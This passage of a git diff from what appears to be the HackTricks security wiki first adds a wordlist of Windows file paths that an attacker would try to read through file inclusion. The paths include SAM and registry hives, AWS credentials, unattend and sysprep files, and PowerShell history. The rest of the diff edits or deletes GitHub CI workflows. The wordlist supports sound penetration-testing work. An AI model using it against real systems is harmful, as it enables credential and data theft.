+C:/users/administrator/appdata/local/google/chrome/user data/default/preferences
+C:/users/administrator/appdata/local/google/chrome/user data/default/secure preferences
+C:/users/administrator/appdata/local/google/chrome/user data/default/top sites
+C:/users/administrator/appdata/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
+C:/users/administrator/.aws/config
+C:/users/administrator/.aws/credentials
+C:/users/administrator/desktop/desktop.ini
+C:/users/administrator/desktop/proof.txt
+C:/users/administrator/.elasticbeanstalk/config
+C:/users/administrator/ntuser.dat
+C:/users/administrator/ntuser.ini
+C:/windows/csc/v2.0.6/pq
+C:/windows/csc/v2.0.6/sm
+C:/windows/debug/netsetup.log
+C:/windows/explorer.exe
+C:/windows/iis5.log
+C:/windows/iis6.log
+C:/windows/iis7.log
+C:/windows/iis8.log
+C:/windows/notepad.exe
+C:/windows/panther/setupinfo
+C:/windows/panther/setupinfo.bak
+C:/windows/panther/sysprep.inf
+C:/windows/panther/sysprep.xml
+C:/windows/panther/unattended.txt
+C:/windows/panther/unattended.xml
+C:/windows/panther/unattend/setupinfo
+C:/windows/panther/unattend/setupinfo.bak
+C:/windows/panther/unattend/sysprep.inf
+C:/windows/panther/unattend/sysprep.xml
+C:/windows/panther/unattend.txt
+C:/windows/panther/unattend/unattended.txt
+C:/windows/panther/unattend/unattended.xml
+C:/windows/panther/unattend/unattend.txt
+C:/windows/panther/unattend/unattend.xml
+C:/windows/panther/unattend.xml
+C:/windows/php.ini
+C:/windows/repair/sam
+C:/windows/repair/security
+C:/windows/repair/software
+C:/windows/repair/system
+C:/windows/system32/config/appevent.evt
+C:/windows/system32/config/default.sav
+C:/windows/system32/config/regback/default
+C:/windows/system32/config/regback/sam
+C:/windows/system32/config/regback/security
+C:/windows/system32/config/regback/software
+C:/windows/system32/config/regback/system
+C:/windows/system32/config/sam
+C:/windows/system32/config/secevent.evt
+C:/windows/system32/config/security.sav
+C:/windows/system32/config/software.sav
+C:/windows/system32/config/system
+C:/windows/system32/config/system.sa
+C:/windows/system32/config/system.sav
+C:/windows/system32/drivers/etc/hosts
+C:/windows/system32/eula.txt
+C:/windows/system32/inetsrv/config/applicationhost.config
+C:/windows/system32/inetsrv/config/schema/aspnet_schema.xml
+C:/windows/system32/license.rtf
+C:/windows/system32/logfiles/httperr/httperr1.log
+C:/windows/system32/sysprep.inf
+C:/windows/system32/sysprepsysprep.inf
+C:/windows/system32/sysprep/sysprep.xml
+C:/windows/system32/sysprepsysprep.xml
+C:/windows/system32/sysprepunattended.txt
+C:/windows/system32/sysprepunattended.xml
+C:/windows/system32/sysprepunattend.txt
+C:/windows/system32/sysprepunattend.xml
+C:/windows/system32/sysprep.xml
+C:/windows/system32/unattended.txt
+C:/windows/system32/unattended.xml
+C:/windows/system32/unattend.txt
+C:/windows/system32/unattend.xml
+C:/windows/system.ini
+C:/windows/temp/
+C:/windows/windowsupdate.log
+C:/windows/win.ini
+C:/winnt/php.ini
+C:/winnt/win.ini
+C:/xampp/apache/bin/php.ini
+C:/xampp/apache/conf/httpd.conf
+C:/xampp/apache/logs/access.log
+C:/xampp/apache/logs/error.log
+C:/xampp/filezillaftp/filezilla server.xml
+C:/xampp/filezillaftp/logs
+C:/xampp/filezillaftp/logs/access.log
+C:/xampp/filezillaftp/logs/error.log
+C:/xampp/mercurymail/logs/access.log
+C:/xampp/mercurymail/logs/error.log
+C:/xampp/mercurymail/mercury.ini
+C:/xampp/mysql/data/mysql.err
+C:/xampp/phpmyadmin/config.inc
+C:/xampp/phpmyadmin/config.inc.php
+C:/xampp/phpmyadmin/phpinfo.php
+C:/xampp/php/php.ini
+C:/xampp/sendmail/sendmail.ini
+C:/xampp/sendmail/sendmail.log
+C:/xampp/tomcat/conf/tomcat-users.xml
+C:/xampp/tomcat/conf/web.xml
+C:/xampp/webalizer/webalizer.conf
+C:/xampp/webdav/webdav.txt
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
index 67d6d075cf4..d145fd3c508 100644
--- a/.github/FUNDING.yml
+++ b/.github/FUNDING.yml
@@ -1 +1 @@
-github: carlospolop
+custom: ['https://github.com/sponsors/carlospolop', 'https://www.buymeacoffee.com/carlospolop']
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
deleted file mode 100644
index 68ca5efc882..00000000000
--- a/.github/pull_request_template.md
+++ /dev/null
@@ -1,11 +0,0 @@
-You can remove this content before sending the PR:
-
-## Attribution
-We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
-
-
-Thank you for contributing to HackTricks!
-
-
-
-
diff --git a/.github/workflows/auto_merge_approved_prs.yml b/.github/workflows/auto_merge_approved_prs.yml
deleted file mode 100644
index f776811b362..00000000000
--- a/.github/workflows/auto_merge_approved_prs.yml
+++ /dev/null
@@ -1,242 +0,0 @@
-name: Auto Merge Approved PRs
-
-on:
- schedule:
- - cron: '0 */1 * * *' # Every 1 hour
- workflow_dispatch: # Allow manual triggering
-
-permissions:
- contents: write
- pull-requests: write
- actions: read
-
-jobs:
- auto-merge-prs:
- runs-on: ubuntu-latest
-
- steps:
- - name: Checkout repository
- uses: actions/checkout@v4
- with:
- fetch-depth: 1 # Only need latest commit for PR operations
- token: ${{ secrets.PAT_TOKEN }}
-
- - name: Configure git
- run: |
- git config --global user.email "action@github.com"
- git config --global user.name "GitHub Action"
-
- - name: Install GitHub CLI
- run: |
- curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
- && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
- && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
- && sudo apt update \
- && sudo apt install gh -y
-
- - name: Check for running workflows
- id: check_workflows
- run: |
- gh_with_retry() {
- local max_attempts=5
- local base_sleep_seconds=2
- local attempt=1
- local stderr_file
- stderr_file=$(mktemp)
-
- while true; do
- if gh "$@" 2>"$stderr_file"; then
- rm -f "$stderr_file"
- return 0
- fi
-
- local exit_code=$?
- if [ "$attempt" -ge "$max_attempts" ]; then
- echo "gh command failed after $max_attempts attempts: gh $*" >&2
- cat "$stderr_file" >&2
- rm -f "$stderr_file"
- return "$exit_code"
- fi
-
- local sleep_for=$((base_sleep_seconds * attempt))
- echo "gh command failed (attempt $attempt/$max_attempts): gh $*" >&2
- cat "$stderr_file" >&2
- echo "Retrying in ${sleep_for}s..." >&2
- sleep "$sleep_for"
- attempt=$((attempt + 1))
- done
- }
-
- # Get all running workflows except this one
- running_workflows=$(gh_with_retry run list --status in_progress --json workflowName,name --repo "$GITHUB_REPOSITORY" --jq '.[].name' | grep -v "Auto Merge Approved PRs" | wc -l)
- echo "running_workflows=$running_workflows" >> $GITHUB_OUTPUT
-
- if [ "$running_workflows" -gt 0 ]; then
- echo "Found $running_workflows running workflows. Exiting to avoid conflicts."
- echo "should_continue=false" >> $GITHUB_OUTPUT
- else
- echo "No other workflows running. Proceeding with auto-merge."
- echo "should_continue=true" >> $GITHUB_OUTPUT
- fi
- env:
- GH_TOKEN: ${{ secrets.PAT_TOKEN }}
-
- - name: Find and merge approved PRs
- if: steps.check_workflows.outputs.should_continue == 'true'
- run: |
- gh_with_retry() {
- local max_attempts=5
- local base_sleep_seconds=2
- local attempt=1
- local stderr_file
- stderr_file=$(mktemp)
-
- while true; do
- if gh "$@" 2>"$stderr_file"; then
- rm -f "$stderr_file"
- return 0
- fi
-
- local exit_code=$?
- if [ "$attempt" -ge "$max_attempts" ]; then
- echo "gh command failed after $max_attempts attempts: gh $*" >&2
- cat "$stderr_file" >&2
- rm -f "$stderr_file"
- return "$exit_code"
- fi
-
- local sleep_for=$((base_sleep_seconds * attempt))
- echo "gh command failed (attempt $attempt/$max_attempts): gh $*" >&2
- cat "$stderr_file" >&2
- echo "Retrying in ${sleep_for}s..." >&2
- sleep "$sleep_for"
- attempt=$((attempt + 1))
- done
- }
-
- authorized_user="carlospolop"
- max_merges=2
-
- echo "Authorized user: $authorized_user"
- echo "Looking for PRs with exact comment 'merge' from $authorized_user..."
-
- # Get all open PRs, paginating through the full result set instead of
- # relying on `gh pr list`'s default page size.
- prs=$(gh_with_retry api --paginate "repos/$GITHUB_REPOSITORY/pulls?state=open&per_page=100" | jq -s 'add | map({number, title, url: .html_url, author: {login: .user.login}})')
-
- if [ "$prs" = "[]" ]; then
- echo "No open PRs found."
- exit 0
- fi
-
- # Create a temp file to track merge count
- echo "0" > /tmp/merged_count
-
- # Process each PR
- echo "$prs" | jq -r '.[] | @base64' | while IFS= read -r pr_data; do
- current_count=$(cat /tmp/merged_count)
- if [ "$current_count" -ge "$max_merges" ]; then
- echo "Reached maximum merge limit ($max_merges). Stopping."
- break
- fi
-
- pr_info=$(echo "$pr_data" | base64 --decode)
- pr_number=$(echo "$pr_info" | jq -r '.number')
- pr_title=$(echo "$pr_info" | jq -r '.title')
- pr_url=$(echo "$pr_info" | jq -r '.url')
- pr_author=$(echo "$pr_info" | jq -r '.author.login')
-
- echo "Checking PR #$pr_number: $pr_title (author: $pr_author)"
-
- # Special case: allow merge without "merge" comment for Research Update Enhanced PRs by the authorized user
- eligible_by_title=false
- if [[ "$pr_title" == "Research Update Enhanced"* && "$pr_author" == "$authorized_user" ]]; then
- echo "PR #$pr_number qualifies for direct merge based on title and author."
- eligible_by_title=true
- fi
-
- # Check if any comment from carlospolop contains exactly "merge"
- has_merge_comment=false
- if [ "$eligible_by_title" != true ]; then
- # Get all comments for this PR
- if ! comments=$(gh_with_retry pr view "$pr_number" --json comments --jq '.comments[]' --repo "$GITHUB_REPOSITORY"); then
- echo "Failed to fetch comments for PR #$pr_number after retries. Skipping PR."
- continue
- fi
-
- # Print all comment authors for debugging
- echo "Comments in PR #$pr_number:"
- echo "$comments" | jq -r '" - Author: " + .author.login + " | Comment: " + (.body | split("\n")[0] | .[0:100])'
-
- echo "$comments" | jq -r '.author.login + "|" + .body' | while IFS='|' read -r comment_author comment_body; do
- if [ "$comment_author" = "$authorized_user" ]; then
- if echo "$comment_body" | grep -iExq "merge"; then
- echo "Found exact 'merge' comment from $authorized_user in PR #$pr_number"
- echo "true" > /tmp/has_merge_comment_$pr_number
- break
- fi
- fi
- done
- fi
-
- if [ -f "/tmp/has_merge_comment_$pr_number" ]; then
- has_merge_comment=true
- fi
-
- if [ "$has_merge_comment" = true ] || [ "$eligible_by_title" = true ]; then
- echo "Attempting to merge PR #$pr_number..."
-
- # Get PR details including head branch
- if ! pr_details=$(gh_with_retry pr view "$pr_number" --json headRefName,baseRefName --repo "$GITHUB_REPOSITORY"); then
- echo "Failed to fetch details for PR #$pr_number after retries. Skipping PR."
- continue
- fi
- head_branch=$(echo "$pr_details" | jq -r '.headRefName')
- base_branch=$(echo "$pr_details" | jq -r '.baseRefName')
-
- # --- Polling for non-UNKNOWN mergeable status ---
- max_retries=10
- retry=0
- while true; do
- if ! pr_mergeable=$(gh_with_retry pr view "$pr_number" --json mergeable --jq '.mergeable' --repo "$GITHUB_REPOSITORY"); then
- echo "Failed to fetch mergeable status for PR #$pr_number after retries."
- pr_mergeable="UNKNOWN"
- fi
- if [ "$pr_mergeable" != "UNKNOWN" ]; then
- break
- fi
- if [ $retry -ge $max_retries ]; then
- echo "Timeout: mergeable status is still UNKNOWN after $max_retries retries"
- break
- fi
- echo "mergeable status UNKNOWN, retrying in 2s..."
- sleep 2
- retry=$((retry + 1))
- done
-
- if [ "$pr_mergeable" = "MERGEABLE" ]; then
- if gh pr merge "$pr_number" --merge --delete-branch --repo "$GITHUB_REPOSITORY"; then
- echo "Successfully merged PR #$pr_number: $pr_title"
- current_count=$(cat /tmp/merged_count)
- echo $((current_count + 1)) > /tmp/merged_count
- else
- echo "Failed to merge PR #$pr_number: $pr_title"
- fi
- elif [ "$pr_mergeable" = "CONFLICTED" ] || [ "$pr_mergeable" = "CONFLICTING" ]; then
- echo "PR #$pr_number has conflicts. Skipping auto-merge so it can be resolved manually."
- else
- echo "PR #$pr_number is not mergeable (status: $pr_mergeable)"
- fi
- else
- echo "No exact 'merge' comment found from $authorized_user in PR #$pr_number"
- fi
-
- rm -f "/tmp/has_merge_comment_$pr_number"
- done
-
- final_count=$(cat /tmp/merged_count)
- echo "Auto-merge process completed. Merged $final_count PRs."
- rm -f /tmp/merged_count
-
- env:
- GH_TOKEN: ${{ secrets.PAT_TOKEN }}
diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml
deleted file mode 100644
index 193168d6e99..00000000000
--- a/.github/workflows/build_master.yml
+++ /dev/null
@@ -1,221 +0,0 @@
-name: Build Master
-
-on:
- push:
- branches:
- - master
- paths-ignore:
- - '.gitignore'
- - 'book/**'
- workflow_dispatch:
-
-concurrency: build_master
-
-permissions:
- packages: write
- id-token: write
- contents: write
-
-jobs:
- run-translation:
- runs-on: ubuntu-latest
- container:
- image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
- environment: prod
-
- steps:
- - name: Checkout code
- uses: actions/checkout@v4
- with:
- fetch-depth: 1 # Only fetch the latest commit for faster cloning
-
- # Build the mdBook
- - name: Build mdBook
- run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
-
- - name: Post-process SEO artifacts
- run: |
- python3 scripts/seo_postprocess.py pages \
- --book-dir ./book \
- --site-url https://hacktricks.wiki \
- --lang en \
- --default-lang en \
- --site-name "HackTricks"
-
- - name: Install GitHub CLI
- run: |
- curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
- && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
- && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
- && sudo apt update \
- && sudo apt install gh -y
-
- - name: Push search index to hacktricks-searchindex repo
- shell: bash
- env:
- PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
- run: |
- set -euo pipefail
-
- ASSET="book/searchindex.js"
- TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
- FILENAME="searchindex-en.js"
-
- if [ ! -f "$ASSET" ]; then
- echo "Expected $ASSET to exist after build" >&2
- exit 1
- fi
-
- TOKEN="${PAT_TOKEN}"
- if [ -z "$TOKEN" ]; then
- echo "No PAT_TOKEN available" >&2
- exit 1
- fi
-
- # Clone the searchindex repo
- git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
-
- cd /tmp/searchindex-repo
- git config user.name "GitHub Actions"
- git config user.email "github-actions@github.com"
-
- # Compress the searchindex file
- cd "${GITHUB_WORKSPACE}"
- gzip -9 -k -f "$ASSET"
-
- # Show compression stats
- ORIGINAL_SIZE=$(wc -c < "$ASSET")
- COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
- RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
- echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
-
- # XOR encrypt the compressed file
- KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
- cat > /tmp/xor_encrypt.py << 'EOF'
- import sys
- key = sys.argv[1]
- input_file = sys.argv[2]
- output_file = sys.argv[3]
- with open(input_file, 'rb') as f:
- data = f.read()
- key_bytes = key.encode('utf-8')
- encrypted = bytearray(len(data))
- for i in range(len(data)):
- encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
- with open(output_file, 'wb') as f:
- f.write(encrypted)
- print(f"Encrypted: {len(data)} bytes")
- EOF
- python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
-
- # Copy the encrypted .gz version to the searchindex repo
- cd /tmp/searchindex-repo
- cp "${GITHUB_WORKSPACE}/${ASSET}.gz.enc" "${FILENAME}.gz"
-
- # Stage the updated file
- git add "${FILENAME}.gz"
-
- # Commit and push with retry logic
- if git diff --staged --quiet; then
- echo "No changes to commit"
- else
- TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
- git commit -m "Update searchindex files - ${TIMESTAMP}"
-
- # Retry push up to 20 times with pull --rebase between attempts
- MAX_RETRIES=20
- RETRY_COUNT=0
- while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
- if git push origin master; then
- echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
- break
- else
- RETRY_COUNT=$((RETRY_COUNT + 1))
- if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
- echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
-
- # Try normal rebase first
- if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
- echo "Rebase successful, retrying push..."
- else
- # If rebase fails due to divergent histories (orphan branch reset), re-clone
- if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
- echo "Detected history rewrite, re-cloning repository..."
- cd /tmp
- rm -rf searchindex-repo
- git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
- cd searchindex-repo
- git config user.name "GitHub Actions"
- git config user.email "github-actions@github.com"
-
- # Re-copy the .gz version
- cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz"
-
- git add "${FILENAME}.gz"
- TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
- git commit -m "Update searchindex files - ${TIMESTAMP}"
- echo "Re-cloned and re-committed, will retry push..."
- else
- echo "Rebase failed for unknown reason, retrying anyway..."
- fi
- fi
-
- sleep 1
- else
- echo "Failed to push after $MAX_RETRIES attempts"
- exit 1
- fi
- fi
- done
- fi
-
- echo "Successfully pushed searchindex files"
-
-
- # Login in AWs
- - name: Configure AWS credentials using OIDC
- uses: aws-actions/configure-aws-credentials@v3
- with:
- role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
- aws-region: us-east-1
-
- # Sync the build to S3. mdBook refreshes mtimes on every build, so first
- # age byte-identical files based on S3 ETags; `s3 sync` then uploads only
- # genuinely changed/new output while retaining normal --delete behavior.
- - name: Sync to S3
- run: |
- aws s3api list-objects-v2 \
- --bucket hacktricks-wiki \
- --prefix en/ \
- --output json > /tmp/s3-en-manifest.json
- python3 scripts/mark_unchanged_s3_files.py \
- --source ./book \
- --manifest /tmp/s3-en-manifest.json \
- --remote-prefix en/
- aws s3 sync ./book s3://hacktricks-wiki/en --delete
-
- - name: Upload root sitemap index
- run: |
- LANGS=$(aws s3api list-objects-v2 --bucket hacktricks-wiki --delimiter / --query 'CommonPrefixes[].Prefix' --output text | tr '\t' '\n' | sed 's:/$::' | grep -E '^[a-z]{2}$' | sort | paste -sd, -)
- if [ -z "$LANGS" ]; then
- LANGS="en"
- fi
- python3 scripts/seo_postprocess.py index --site-url https://hacktricks.wiki --languages "$LANGS" --output ./sitemap.xml
- aws s3 cp ./sitemap.xml s3://hacktricks-wiki/sitemap.xml --content-type application/xml --cache-control max-age=300
-
- - name: Upload root ads.txt
- run: aws s3 cp ./src/ads.txt s3://hacktricks-wiki/ads.txt --content-type text/plain --cache-control max-age=300
-
- - name: Upload root robots.txt
- run: |
- aws s3 cp ./src/robots.txt s3://hacktricks-wiki/robots.txt --content-type text/plain --cache-control max-age=300
- aws s3 cp ./src/robots.txt s3://hacktricks-wiki/en/robots.txt --content-type text/plain --cache-control max-age=300
-
- - name: Invalidate CloudFront HTML and SEO assets
- run: |
- # /en/* covers /en/robots.txt and /en/sitemap.xml; only invalidate
- # root SEO files separately.
- aws cloudfront create-invalidation \
- --distribution-id "${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}" \
- --paths "/en/*" "/robots.txt" "/sitemap.xml"
-
diff --git a/.github/workflows/cleanup_branches.yml b/.github/workflows/cleanup_branches.yml
deleted file mode 100644
index 1ee90cd43e6..00000000000
--- a/.github/workflows/cleanup_branches.yml
+++ /dev/null
@@ -1,204 +0,0 @@
-name: Cleanup Merged/Closed PR Branches
-
-on:
- schedule:
- - cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
- workflow_dispatch: # Allow manual triggering
- inputs:
- dry_run:
- description: 'Dry run (show what would be deleted without actually deleting)'
- required: false
- default: 'false'
- type: boolean
-
-permissions:
- contents: write
- pull-requests: read
-
-jobs:
- cleanup-branches:
- runs-on: ubuntu-latest
-
- steps:
- - name: Checkout repository
- uses: actions/checkout@v4
- with:
- fetch-depth: 0 # Need full history to see all branches
- token: ${{ secrets.PAT_TOKEN }}
-
- - name: Install GitHub CLI
- run: |
- curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
- && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
- && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
- && sudo apt update \
- && sudo apt install gh -y
-
- - name: Configure git
- run: |
- git config --global user.email "action@github.com"
- git config --global user.name "GitHub Action"
-
- - name: Cleanup merged/closed PR branches
- env:
- GH_TOKEN: ${{ secrets.PAT_TOKEN }}
- run: |
- echo "Starting branch cleanup process..."
-
- # Check if this is a dry run
- DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
- if [ "$DRY_RUN" = "true" ]; then
- echo "🔍 DRY RUN MODE - No branches will actually be deleted"
- echo ""
- fi
-
- # Define protected branches and patterns
- protected_branches=(
- "master"
- "main"
- )
-
- # Translation branch patterns (any 2-letter combination)
- translation_pattern="^[a-zA-Z]{2}$"
-
- # Get all remote branches except protected ones
- echo "Fetching all remote branches..."
- git fetch --all --prune
-
- # Get list of all remote branches (excluding HEAD)
- all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
-
- # Get all open PRs to identify branches with open PRs
- echo "Getting list of open PRs..."
- open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
-
- echo "Open PR branches:"
- echo "$open_pr_branches"
- echo ""
-
- deleted_count=0
- skipped_count=0
-
- for branch in $all_branches; do
- branch=$(echo "$branch" | xargs) # Trim whitespace
-
- # Skip if empty
- if [ -z "$branch" ]; then
- continue
- fi
-
- echo "Checking branch: $branch"
-
- # Check if it's a protected branch
- is_protected=false
- for protected in "${protected_branches[@]}"; do
- if [ "$branch" = "$protected" ]; then
- echo " ✓ Skipping protected branch: $branch"
- is_protected=true
- skipped_count=$((skipped_count + 1))
- break
- fi
- done
-
- if [ "$is_protected" = true ]; then
- continue
- fi
-
- # Check if it's a translation branch (any 2-letter combination)
- # Also protect any branch that starts with 2 letters followed by additional content
- if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
- echo " ✓ Skipping translation/language branch: $branch"
- skipped_count=$((skipped_count + 1))
- continue
- fi
-
- # Check if branch has an open PR
- if echo "$open_pr_branches" | grep -Fxq "$branch"; then
- echo " ✓ Skipping branch with open PR: $branch"
- skipped_count=$((skipped_count + 1))
- continue
- fi
-
- # Check if branch had a PR that was merged or closed
- echo " → Checking PR history for branch: $branch"
-
- # Look for PRs from this branch (both merged and closed)
- pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
-
- if [ "$pr_info" != "[]" ]; then
- pr_state=$(echo "$pr_info" | jq -r '.[0].state')
- pr_number=$(echo "$pr_info" | jq -r '.[0].number')
- merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
-
- if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
- if [ "$DRY_RUN" = "true" ]; then
- echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
- deleted_count=$((deleted_count + 1))
- else
- echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
-
- # Delete the remote branch
- if git push origin --delete "$branch" 2>/dev/null; then
- echo " Successfully deleted remote branch: $branch"
- deleted_count=$((deleted_count + 1))
- else
- echo " Failed to delete remote branch: $branch"
- fi
- fi
- else
- echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
- skipped_count=$((skipped_count + 1))
- fi
- else
- # No PR found for this branch - it might be a stale branch
- # Check if branch is older than 30 days and has no recent activity
- last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
-
- if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
- # Calculate 30 days ago in seconds since epoch
- thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
-
- if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
- if [ "$DRY_RUN" = "true" ]; then
- echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
- deleted_count=$((deleted_count + 1))
- else
- echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
-
- if git push origin --delete "$branch" 2>/dev/null; then
- echo " Successfully deleted stale branch: $branch"
- deleted_count=$((deleted_count + 1))
- else
- echo " Failed to delete stale branch: $branch"
- fi
- fi
- else
- echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
- skipped_count=$((skipped_count + 1))
- fi
- else
- echo " ✓ Skipping branch (cannot determine age): $branch"
- skipped_count=$((skipped_count + 1))
- fi
- fi
-
- echo ""
- done
-
- echo "=================================="
- echo "Branch cleanup completed!"
- if [ "$DRY_RUN" = "true" ]; then
- echo "Branches that would be deleted: $deleted_count"
- else
- echo "Branches deleted: $deleted_count"
- fi
- echo "Branches skipped: $skipped_count"
- echo "=================================="
-
- # Clean up local tracking branches (only if not dry run)
- if [ "$DRY_RUN" != "true" ]; then
- echo "Cleaning up local tracking branches..."
- git remote prune origin
- fi
-
- echo "Cleanup process finished."
\ No newline at end of file
diff --git a/.github/workflows/cloudfront_invalidate_assets.yml b/.github/workflows/cloudfront_invalidate_assets.yml
deleted file mode 100644
index b79007ecab0..00000000000
--- a/.github/workflows/cloudfront_invalidate_assets.yml
+++ /dev/null
@@ -1,99 +0,0 @@
-name: Invalidate CloudFront on Asset Changes
-
-on:
- push:
- branches:
- - master
- paths:
- - 'theme/**/*.css'
- - 'theme/**/*.js'
- - 'theme/**/*.hbs'
- workflow_dispatch:
-
-permissions:
- id-token: write
- contents: read
-
-jobs:
- invalidate:
- runs-on: ubuntu-latest
- environment: prod
-
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
- with:
- fetch-depth: 2
-
- - name: Configure AWS credentials using OIDC
- uses: aws-actions/configure-aws-credentials@v6
- with:
- role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
- aws-region: us-east-1
-
- - name: Compute invalidation paths
- id: paths
- shell: bash
- run: |
- set -euo pipefail
-
- BEFORE="${{ github.event.before }}"
- AFTER="${{ github.sha }}"
-
- if [ -z "$BEFORE" ] || [ "$BEFORE" = "0000000000000000000000000000000000000000" ]; then
- if git rev-parse "${AFTER}^" >/dev/null 2>&1; then
- BEFORE="${AFTER}^"
- else
- BEFORE=""
- fi
- fi
-
- if [ -n "$BEFORE" ]; then
- git diff --name-only "$BEFORE" "$AFTER" > /tmp/changed_files.txt
- else
- git ls-tree --name-only -r "$AFTER" > /tmp/changed_files.txt
- fi
-
- mapfile -t files < <(grep -E '^theme/.*\.(css|js|hbs)$' /tmp/changed_files.txt || true)
- if [ ${#files[@]} -eq 0 ]; then
- echo "paths=" >> "$GITHUB_OUTPUT"
- exit 0
- fi
-
- invalidate_paths=()
- hbs_changed=false
-
- for f in "${files[@]}"; do
- if [[ "$f" == theme/* ]]; then
- rel="${f#theme/}"
- if [[ "$f" == *.hbs ]]; then
- hbs_changed=true
- else
- invalidate_paths+=("/$rel")
- fi
- fi
- done
-
- if [ "$hbs_changed" = true ]; then
- invalidate_paths+=("/*")
- fi
-
- printf "%s\n" "${invalidate_paths[@]}" | awk 'NF' | sort -u > /tmp/invalidate_paths.txt
-
- if [ ! -s /tmp/invalidate_paths.txt ]; then
- echo "paths=" >> "$GITHUB_OUTPUT"
- exit 0
- fi
-
- paths=$(paste -sd' ' /tmp/invalidate_paths.txt)
- echo "paths=$paths" >> "$GITHUB_OUTPUT"
-
- - name: Create CloudFront invalidation
- if: steps.paths.outputs.paths != ''
- shell: bash
- run: |
- set -euo pipefail
- set -f
- aws cloudfront create-invalidation \
- --distribution-id "${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}" \
- --paths ${{ steps.paths.outputs.paths }}
diff --git a/.github/workflows/lint_python.yml b/.github/workflows/lint_python.yml
new file mode 100644
index 00000000000..c9f3d0b5b65
--- /dev/null
+++ b/.github/workflows/lint_python.yml
@@ -0,0 +1,19 @@
+name: lint_python
+on: [pull_request, push]
+jobs:
+ lint_python:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v2
+ - uses: actions/setup-python@v2
+ - run: pip install bandit black codespell flake8 isort mypy pytest pyupgrade
+ - run: bandit -r . || true
+ - run: black --check . || true
+ - run: codespell --ignore-words-list="sav,te,wan" --quiet-level=2 || true # --skip=""
